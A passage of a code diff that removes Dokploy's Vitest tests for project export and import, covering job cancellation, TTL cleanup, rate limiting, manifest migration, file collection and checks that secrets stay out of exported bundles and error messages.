const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(second?.createdAt).toBeGreaterThan(queuedAt);
expect(second?.createdAt).toBeGreaterThanOrEqual(
first?.createdAt as number,
);
}, 30_000);
});
describe("cancelExport (T-6.7)", () => {
it("refuses to cancel while the export is actually running", async () => {
const job = createExportJob("cancel-running-1", "user-1", "org-1");
job.status = "dumping";
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
});
it("allows cancelling once the export has reached a terminal status", async () => {
const job = createExportJob("cancel-done-1", "user-1", "org-1");
job.status = "done";
await cancelExport("cancel-done-1");
expect(getExportJob("cancel-done-1")).toBeUndefined();
});
});
describe("cleanupExpiredExports", () => {
it("deletes expired jobs and their bundle files", async () => {
const job = createExportJob("expired-1", "user-1", "org-1");
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
await writeFile(bundlePath, "fake bundle");
job.workspace = { serverId: null, path: join(root, "expired-1") };
job.bundle = { serverId: null, path: bundlePath };
job.status = "done";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("expired-1");
expect(getExportJob("expired-1")).toBeUndefined();
expect(existsSync(bundlePath)).toBe(false);
});
it("leaves fresh jobs untouched", async () => {
createExportJob("fresh-1", "user-1", "org-1");
const expired = await cleanupExpiredExports(Date.now());
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
expect(getExportJob("fresh-1")).toBeDefined();
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
job.status = "dumping";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
expect(getExportJob("active-past-ttl-1")).toBeDefined();
});
it("does clean up a terminal-status job once it's past the TTL", async () => {
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
job.status = "error";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
});
});
@@ -1,276 +0,0 @@
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, relative } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
manifestSchema,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const SECRET_VALUES = [
"hunter2-vault-secret-placeholder",
"realdbpassword123",
"registrypassword456",
"basicauthpassword789",
];
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-should-never-appear",
registryId: "registry-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpassword789",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
},
],
findFirst: async () => ({
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
const entries = await readdir(dir, { withFileTypes: true });
const files: string[] = [];
for (const entry of entries) {
const full = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkFiles(full, base)));
} else {
files.push(relative(base, full));
}
}
return files;
};
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("export integration: capture -> serialize", () => {
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
true,
);
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
true,
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
const extractDir = join(outDir, "extracted");
await execAsync(
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
);
const manifestRaw = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const manifestResult = manifestSchema.safeParse(manifestRaw);
expect(manifestResult.success).toBe(true);
const relativeFiles = await walkFiles(extractDir);
expect(relativeFiles.sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const inventory = JSON.parse(
await readFile(join(extractDir, "inventory.json"), "utf8"),
);
expect(inventory.totals.application).toBe(1);
expect(inventory.totals.postgres).toBe(1);
const requirements = JSON.parse(
await readFile(join(extractDir, "requirements.json"), "utf8"),
);
expect(Array.isArray(requirements)).toBe(true);
expect(requirements.length).toBeGreaterThan(0);
for (const relativePath of relativeFiles) {
const bytes = await readFile(join(extractDir, relativePath));
for (const secret of SECRET_VALUES) {
expect(bytes.includes(secret)).toBe(false);
}
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
}
});
});
@@ -1,414 +0,0 @@
import { existsSync, readFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
Requirement,
} from "@dokploy/server/services/project-export-import";
import { collectFiles } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const { failPullBox } = vi.hoisted(() => ({
failPullBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string, options?: unknown) => {
if (failPullBox.value && command.includes("tar -czf")) {
const { ExecError } = await import(
"@dokploy/server/utils/process/ExecError"
);
throw new ExecError(`Command failed: ${command}`, {
command,
stderr: "no such file or directory",
exitCode: 1,
});
}
return actual.execAsync(command, options as undefined);
}),
};
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
compose: [],
...emptyServiceArrays,
},
],
});
describe("collectFiles / application sources", () => {
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(join(appDir, ".git"), { recursive: true });
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-one");
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
expect(existsSync(join(dest, ".git"))).toBe(false);
expect(existsSync(join(dest, "node_modules"))).toBe(false);
expect(existsSync(join(dest, "code"))).toBe(false);
});
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
const appDir = join(root, "applications", "app-drop");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
const tree = buildTree({
applicationId: "app-drop",
appName: "app-drop",
serverId: null,
sourceType: "drop",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-drop");
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
});
it("does nothing when applicationSources is excluded from scope", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: { ...baseScope.files, applicationSources: false },
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
false,
);
});
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "does-not-exist",
serverId: null,
sourceType: "docker",
domains: [],
});
await expect(
collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
}),
).resolves.toEqual({ warnings: [] });
});
});
describe("collectFiles / traefik raw", () => {
it("collects only the application's own dynamic yml file", async () => {
await mkdir(join(root, "applications", "app-one"), { recursive: true });
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
await writeFile(
join(root, "traefik", "dynamic", "app-one.yml"),
"http:\n routers: {}",
);
await writeFile(
join(root, "traefik", "dynamic", "app-two.yml"),
"http:\n routers: unrelated",
);
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(workDir, "files", "traefik", "app-one.yml");
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
false,
);
});
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files"))).toBe(false);
});
});
describe("collectFiles / custom certificates (T-6.18)", () => {
const emptyTree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
await mkdir(certDir, { recursive: true });
await writeFile(join(certDir, "cert.pem"), "local cert contents");
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-1",
configIncluded: false,
usedBy: [],
fingerprint: "abc123",
serverId: null,
};
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(
workDir,
"files",
"certificates",
"cert-1",
"cert.pem",
);
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
});
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-2",
configIncluded: false,
usedBy: [],
fingerprint: "def456",
serverId: "server-1",
};
const messages: string[] = [];
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
expect(
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
).toBe(false);
});
});
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
afterEach(() => {
failPullBox.value = false;
});
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
failPullBox.value = true;
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
const messages: string[] = [];
const { warnings } = await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: true,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages).toHaveLength(1);
expect(messages[0]).toContain("exit code 1");
expect(messages[0]).toContain("no such file or directory");
expect(messages[0]).not.toContain("tar -czf");
expect(existsSync(join(workDir, "files"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
expect(warnings[0]?.message).toBe(messages[0]);
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "app-1" }),
);
});
});
@@ -1,83 +0,0 @@
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const execError = (command: string) =>
new ExecError(`Command execution failed: Command failed: ${command}`, {
command,
stderr: "NoSuchKey: The specified key does not exist",
exitCode: 1,
});
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
downloadBundleFromDestination: vi.fn(async () => {
throw execError(
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
);
}),
listBundlesUnderPrefix: vi.fn(async () => {
throw execError(
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
);
}),
};
},
);
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
destinations: {
findFirst: vi.fn(async () => ({
destinationId: "destination-1",
organizationId: "org-1",
bucket: "mybucket",
})),
},
},
},
}));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string) =>
({
session: { activeOrganizationId: organizationId },
user: { id: "user-1", email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importFromDestination({
destinationId: "destination-1",
key: "key.tar.gz",
}),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.listRemoteBundles({ destinationId: "destination-1" }),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
});
@@ -1,282 +0,0 @@
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelImport,
cleanupExpiredImports,
createImportJob,
getImportJob,
runImport,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const waitForStatus = async (
importId: string,
target: "done" | "failed",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getImportJob(importId);
if (job?.status === target || job?.status === "failed") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error(
`Timed out waiting for import ${importId} to reach ${target}`,
);
};
describe("runImport", () => {
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
const importId = "import-fail-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map(),
workDir: local("/tmp/does-not-matter"),
});
const failingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: () => {
throw new Error("insert should never be called");
},
update: () => {
throw new Error("update should never be called");
},
transaction: async () => {
throw new Error("Simulated apply failure");
},
} as any as TransferWriteDb;
runImport(importId, { db: failingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.result).toBeUndefined();
expect(job?.partial).toBeFalsy();
expect(job?.error).toContain("Simulated apply failure");
});
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
const importId = "import-clear-secrets-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
workDir: local("/tmp/does-not-matter"),
});
const workingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
certificates: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [{ ...values, projectId: "new-project-1" }],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...workingDb }),
} as any as TransferWriteDb;
runImport(importId, { db: workingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "done");
expect(job?.status).toBe("done");
expect(job?.secretsPlain).toBeUndefined();
expect(job?.snapshot).toBeUndefined();
});
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
const importId = "import-missing-1";
createImportJob(importId, "user-1", "org-dest");
const unusedDb = {
query: {},
insert: () => {
throw new Error("should never be called");
},
update: () => {
throw new Error("should never be called");
},
transaction: async () => {
throw new Error("should never be called");
},
} as any as TransferWriteDb;
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.error).toMatch(/inspect, unlock and plan/i);
});
});
describe("cancelImport (T-4.2)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
const importId = "import-cancel-1";
const jobDir = join(root, importId);
const workDir = join(jobDir, "extracted");
await mkdir(workDir, { recursive: true });
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
await writeFile(join(workDir, "manifest.json"), "{}");
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
await cancelImport(importId);
await expect(readdir(jobDir)).rejects.toThrow();
expect(getImportJob(importId)).toBeUndefined();
});
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
const importId = "import-cancel-running-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
expect(getImportJob(importId)?.status).toBe("restoring");
await expect(readdir(jobDir)).resolves.toEqual([]);
});
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
const importId = "import-cancel-idle-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "planned" });
await cancelImport(importId);
expect(getImportJob(importId)).toBeUndefined();
});
});
describe("cleanupExpiredImports (T-5.10)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "active-past-ttl-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { status: "restoring" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).not.toContain(importId);
expect(getImportJob(importId)).toBeDefined();
});
it("cleans up a terminal-status job once it's past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "terminal-past-ttl-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "done" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).toContain(importId);
expect(getImportJob(importId)).toBeUndefined();
await expect(readdir(jobDir)).rejects.toThrow();
});
});
@@ -1,65 +0,0 @@
import {
assertNoActiveTransfer,
createExportJob,
createImportJob,
createImportJobIfNoneActive,
getImportJob,
updateExportJob,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { describe, expect, it } from "vitest";
describe("assertNoActiveTransfer (T-4.2)", () => {
it("throws when the user has an in-progress export", () => {
createExportJob("export-rl-1", "user-rl-1", "org-1");
updateExportJob("export-rl-1", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
});
it("throws when the user has an in-progress import", () => {
createImportJob("import-rl-1", "user-rl-2", "org-1");
updateImportJob("import-rl-1", { status: "applying" });
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
});
it("does not throw once the job reaches a terminal status", () => {
createExportJob("export-rl-2", "user-rl-3", "org-1");
updateExportJob("export-rl-2", { status: "done" });
createImportJob("import-rl-2", "user-rl-3", "org-1");
updateImportJob("import-rl-2", { status: "done" });
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
});
it("does not throw for a different user's in-progress job", () => {
createExportJob("export-rl-3", "user-rl-4", "org-1");
updateExportJob("export-rl-3", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
});
});
describe("createImportJobIfNoneActive (T-5.11)", () => {
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
).toThrow(TRPCError);
expect(getImportJob("import-atomic-1")).toBeDefined();
expect(getImportJob("import-atomic-2")).toBeUndefined();
});
it("still allows a different user's call to proceed", () => {
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
).not.toThrow();
expect(getImportJob("import-atomic-4")).toBeDefined();
});
});
@@ -1,52 +0,0 @@
import type { Manifest } from "@dokploy/server/services/project-export-import";
import {
migrateManifest,
TRANSFER_FORMAT,
TRANSFER_FORMAT_VERSION,
UnsupportedBundleVersionError,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseManifest: Manifest = {
format: TRANSFER_FORMAT,
formatVersion: TRANSFER_FORMAT_VERSION,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
describe("migrateManifest", () => {
it("returns a v1 manifest unchanged (identity)", () => {
const result = migrateManifest(baseManifest);
expect(result).toEqual(baseManifest);
});
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
const future: Manifest = {
...baseManifest,
formatVersion: TRANSFER_FORMAT_VERSION + 1,
};
expect(() => migrateManifest(future)).toThrow(
UnsupportedBundleVersionError,
);
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
});
});
@@ -1,108 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
let memberToReturn:
| {
id: string;
role: string;
userId: string;
organizationId: string;
accessedProjects: string[];
}
| undefined = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
let projectToReturn: { projectId: string; organizationId: string } | undefined =
{ projectId: "project-1", organizationId: "org-1" };
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
